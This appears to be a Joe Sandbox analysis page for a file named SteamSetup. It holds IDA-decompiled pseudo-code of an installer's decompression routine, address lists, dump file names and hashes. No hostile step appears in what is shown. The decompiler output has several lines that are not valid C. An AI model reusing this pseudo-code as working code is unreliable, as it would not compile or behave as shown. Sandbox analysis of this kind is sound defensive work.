													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406ae5
0x00406ae5
0x00406ae9
0x00406b0a
0x00406b11
0x00406b17
0x00406b1d
0x00406b2f
0x00406b35
0x00406b3a
0x00000000
0x00406aeb
0x00406af1
0x00406eb2
0x00406eb2
0x00406eb2
0x00406eb5
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00406f03
0x00406f07
0x004070b6
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x004070e8
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00000000
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00406f2e
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00000000
0x00406f34
0x00406f2e
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x00000000
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x00406f2e
0x00406eb5
0x00406eb2
0x00000000
0x00406ae9

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96da27bd456154c1aedaa85bcfc68d0a261e277abb4cee4e4020ac7d50c7f0c5
Instruction ID: 7cecadd07089ef5f508d2048bcf4206a214b5fe31ba49bd0cdf53ec9cfb3ce0b
Opcode Fuzzy Hash: 96da27bd456154c1aedaa85bcfc68d0a261e277abb4cee4e4020ac7d50c7f0c5
Instruction Fuzzy Hash: 35712175D04228CBDF28CFA8C844BADBBB1FB44305F15816AD806BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406C03 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406C03() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M004070E9))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
